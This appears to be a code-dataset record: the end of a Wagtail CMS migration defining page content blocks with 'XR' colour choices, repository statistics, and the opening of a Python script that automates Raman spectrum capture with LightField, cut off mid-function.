wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"grid",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"items",
wagtail.core.blocks.StreamBlock(
[
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"page",
wagtail.core.blocks.PageChooserBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"image",
wagtail.images.blocks.ImageChooserBlock(),
),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"video",
wagtail.embeds.blocks.EmbedBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
]
),
),
]
),
),
(
"columns",
wagtail.core.blocks.ChoiceBlock(
choices=[(2, "2"), (3, "3"), (4, "4")]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
]
),
),
],
blank=True,
),
),
migrations.AlterField(
model_name="localgroupsubpage",
name="content",
field=wagtail.core.fields.StreamField(
[
(
"title",
wagtail.core.blocks.StructBlock(
[
("title", wagtail.core.blocks.CharBlock()),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("left", "Left"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"text",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.RichTextBlock(
features=[
"h2",
"h3",
"h4",
"bold",
"italic",
"ul",
"ol",
"hr",
"link",
"document-link",
],
help_text="Simple richtext with basic formatting. Use links in order to connect related pages frequently. Ordered lists are rendered with big numbers.For images and videos use the image and video blocks.",
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("image", wagtail.images.blocks.ImageChooserBlock()),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("page", wagtail.core.blocks.PageChooserBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("video", wagtail.embeds.blocks.EmbedBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"form",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"form_page",
wagtail.core.blocks.PageChooserBlock(
[
"xr_newsletter.EmailFormPage",
"xr_newsletter.NewsletterFormPage",
]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"grid",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"items",
wagtail.core.blocks.StreamBlock(
[
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"page",
wagtail.core.blocks.PageChooserBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"image",
wagtail.images.blocks.ImageChooserBlock(),
),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"video",
wagtail.embeds.blocks.EmbedBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
]
),
),
]
),
),
(
"columns",
wagtail.core.blocks.ChoiceBlock(
choices=[(2, "2"), (3, "3"), (4, "4")]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
]
),
),
],
blank=True,
),
),
]
| 64.633661
| 245
| 0.180015
| 10,053
| 282,643
| 5.016015
| 0.020292
| 0.093146
| 0.141931
| 0.058898
| 0.988141
| 0.988141
| 0.987011
| 0.987011
| 0.987011
| 0.987011
| 0
| 0.001445
| 0.765
| 282,643
| 4,372
| 246
| 64.648445
| 0.757742
| 0.000159
| 0
| 0.805085
| 1
| 0.010307
| 0.130058
| 0.001136
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.001145
| 0
| 0.001832
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
ea980d4dce3bb06811967be58bfe2c3a40027572
| 36,591
|
py
|
Python
|
line codes/spectra.py
|
TMMuller/pyControl
|
5eb997af6531937184488ea470e222c6aa95ddf6
|
[
"Apache-2.0"
] | 3
|
2019-11-11T08:10:41.000Z
|
2021-07-09T18:38:55.000Z
|
line codes/spectra.py
|
TMMuller/pyControl
|
5eb997af6531937184488ea470e222c6aa95ddf6
|
[
"Apache-2.0"
] | 4
|
2020-04-14T16:53:57.000Z
|
2022-02-03T21:35:17.000Z
|
line codes/spectra.py
|
TMMuller/pyControl
|
5eb997af6531937184488ea470e222c6aa95ddf6
|
[
"Apache-2.0"
] | 2
|
2019-12-04T06:11:37.000Z
|
2022-02-01T03:05:39.000Z
|
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
import numpy as np
import glob
import matplotlib.pyplot as plt
import clr
import sys
import os
from System.IO import *
from System import String
from System.Threading import AutoResetEvent
from System.Collections.Generic import List
# from fit_code2 import ration
# Add needed dll references
sys.path.append(os.environ['LIGHTFIELD_ROOT'])
sys.path.append(os.environ['LIGHTFIELD_ROOT']+"\\AddInViews")
clr.AddReference('PrincetonInstruments.LightFieldViewV5')
clr.AddReference('PrincetonInstruments.LightField.AutomationV5')
clr.AddReference('PrincetonInstruments.LightFieldAddInSupportServices')
# PI imports
from PrincetonInstruments.LightField.Automation import Automation
from PrincetonInstruments.LightField.AddIns import CameraSettings
from PrincetonInstruments.LightField.AddIns import ExperimentSettings
from PrincetonInstruments.LightField.AddIns import DeviceType
from PrincetonInstruments.LightField.AddIns import SpectrometerSettings
import time
# %reload_ext autoreload
# %autoreload 2
# %matplotlib inline
# %pylab inline
import pandas as pd # python data manipulation and analysis library
import numpy as np # Library with large collection of high-level mathematical functions to operate on arrays
import matplotlib.pyplot as plt #python plotting library
import peakutils #baselining library
from scipy.optimize import curve_fit
import os,glob
# Library with operating system dependent functionality. Example: Reading data from files on the computer
import csv
# from pathlib import *
import mplcursors
from sklearn import preprocessing
from lmfit import Parameters, minimize
from scipy import stats
def capture_photo(begin,exp_no,line,iii):
global device_found
global experiment
global save_file
global file_manager
if begin=="start":
def save_file(filename):
# Set the base file name
experiment.SetValue(
ExperimentSettings.FileNameGenerationBaseFileName,
Path.GetFileName(filename))
# Option to Increment, set to false will not increment
experiment.SetValue(
ExperimentSettings.FileNameGenerationAttachIncrement,
True)
# Option to add date
experiment.SetValue(
ExperimentSettings.FileNameGenerationAttachDate,
True)
# Option to add time
experiment.SetValue(
ExperimentSettings.FileNameGenerationAttachTime,
True)
def device_found():
# Find connected device
for device in experiment.ExperimentDevices:
if (device.Type == DeviceType.Camera):
return True
# If connected device is not a camera inform the user
print("Camera not found. Please add a camera and try again.")
return False
# Create the LightField Application (true for visible)
# The 2nd parameter forces LF to load with no experiment
auto = Automation(True, List[String]())
application= auto.LightFieldApplication
experiment = auto.LightFieldApplication.Experiment
file_manager=application.FileManager
if begin=='adjust':
def set_value(setting, value):
# Check for existence before setting
# gain, adc rate, or adc quality
if experiment.Exists(setting):
experiment.SetValue(setting, value)
def experiment_completed(sender, event_args):
# print("Experiment Completed")
# Sets the state of the event to signaled,
# allowing one or more waiting threads to proceed.
acquireCompleted.Set()
from flipper import mirror
mirror('on')
# Check for device and inform user if one is needed
if (device_found()==True):
experiment.ExperimentCompleted += experiment_completed
# Check this location for saved spe after running
#print("Please Enter the Exposure Time:\n")
#x=int(input())
set_value(CameraSettings.ShutterTimingExposureTime,1000)
#print("Please Enter the Number of Frames")
#y=int(input())
n=3
experiment.SetValue(ExperimentSettings.AcquisitionFramesToStore,n)
for k in range(1,2):
if k==1:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,578.1351880026082)
elif k==2:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,621.2340604418703)
_file_name = "case"
# Pass location of saved file
save_file(_file_name)
# Acquire image
experiment.Acquire()
time.sleep(5)
#directory="C:\\Users\\labuser\\Desktop\\data\\Raman\\Vivek\\2019-10-08"
directory="C:\\Users\\UWAdmin\\Desktop\\AIM-Lab-Automation-master\\AIM-Lab-Automation-master\\spes"
if( os.path.exists(directory)):
# print("\nFound the .spe file...")
print(" ")
# Returns all .spe files
files = glob.glob(directory +'/*.spe')
# Returns recently acquired .spe file
last_image_acquired = max(files, key=os.path.getctime)
try:
# Open file
file_name = file_manager.OpenFile(last_image_acquired, FileAccess.Read)
# Access image
file=file_name
imageData = file.GetFrame(0,0)
#here is a problem 11-18-2019
intensity_frame=np.zeros((n,1340))
# Get image data
buffer = imageData.GetData()
#buffer=imageData.GetDataBuffer()
# Print first 10 pixel intensities
for i in range(0,n):
imageData=file.GetFrame(0,i)
buffer=imageData.GetData()
for pixel in range(0,1340):
intensity_frame[i][pixel]=buffer[pixel]
file_name.Dispose()
except IOError:
print ("Error: can not find file or read data")
else:
# print(".spe file not found...")
print(" ")
# print(String.Format("{0} {1}",
# "Image saved to",
# experiment.GetValue(
# ExperimentSettings.
# FileNameGenerationDirectory)))
mirror('off')
wl= experiment.SystemColumnCalibration
wavelength=np.zeros((1,1340))
for i in range(1340):wavelength[0,i]=wl[i]
#print(intensity_frame)
intensity=np.zeros((1,1340))
for i in range(1340):
x=0
for j in range(n):
x=x+intensity_frame[j][i]
x=x/n
intensity[0,i]=x
check_intensity=x
w=[]
inten=[]
for x in range(1340):
wavelength[0,x]=1e7*(1/532 - 1/wavelength[0,x])
w.append(wavelength[0,x])
inten.append(intensity[0,x])
import csv
ix=np.max(inten)
return ix
if begin=="bg":
def set_value(setting, value):
# Check for existence before setting
# gain, adc rate, or adc quality
if experiment.Exists(setting):
experiment.SetValue(setting, value)
def experiment_completed(sender, event_args):
# print("Experiment Completed")
# Sets the state of the event to signaled,
# allowing one or more waiting threads to proceed.
acquireCompleted.Set()
# Check for device and inform user if one is needed
if (device_found()==True):
experiment.ExperimentCompleted += experiment_completed
# Check this location for saved spe after running
#print("Please Enter the Exposure Time:\n")
#x=int(input())
set_value(CameraSettings.ShutterTimingExposureTime,3000)
#print("Please Enter the Number of Frames")
#y=int(input())
experiment.SetValue(ExperimentSettings.AcquisitionFramesToStore,10)
for k in range(1,3):
if k==1:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,578.1351880026082)
elif k==2:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,621.2340604418703)
_file_name = "case"
# Pass location of saved file
save_file(_file_name)
# Acquire image
experiment.Acquire()
time.sleep(35)
#directory="C:\\Users\\labuser\\Desktop\\data\\Raman\\Vivek\\2019-10-08"
directory="C:\\Users\\UWAdmin\\Desktop\\AIM-Lab-Automation-master\\AIM-Lab-Automation-master\\spes"
if( os.path.exists(directory)):
# print("\nFound the .spe file...")
print(" ")
# Returns all .spe files
files = glob.glob(directory +'/*.spe')
# Returns recently acquired .spe file
last_image_acquired = max(files, key=os.path.getctime)
try:
# Open file
file_name = file_manager.OpenFile(
last_image_acquired, FileAccess.Read)
# Access image
file=file_name
imageData = file.GetFrame(0,0)
#here is a problem 11-18-2019
n=5
intensity_frame=np.zeros((n,1340))
# Get image data
buffer = imageData.GetData()
#buffer=imageData.GetDataBuffer()
# Print first 10 pixel intensities
for i in range(0,n):
imageData=file.GetFrame(0,i)
buffer=imageData.GetData()
for pixel in range(0,1340):
intensity_frame[i][pixel]=buffer[pixel]
file_name.Dispose()
except IOError:
print ("Error: can not find file or read data")
else:
# print(".spe file not found...")
print(" ")
# print(String.Format("{0} {1}",
# "Image saved to",
# experiment.GetValue(
# ExperimentSettings.
# FileNameGenerationDirectory)))
wl= experiment.SystemColumnCalibration
wavelength=np.zeros((1,1340))
for i in range(1340):wavelength[0,i]=wl[i]
#print(intensity_frame)
intensity=np.zeros((1,1340))
for i in range(1340):
x=0
for j in range(n):
x=x+intensity_frame[j][i]
x=x/n
intensity[0,i]=x
check_intensity=x
w=[]
inten=[]
for x in range(1340):
wavelength[0,x]=1e7*(1/532 - 1/wavelength[0,x])
w.append(wavelength[0,x])
inten.append(intensity[0,x])
import csv
m="background"+str(k)+"D.csv"
with open(m, 'w', newline='') as f:
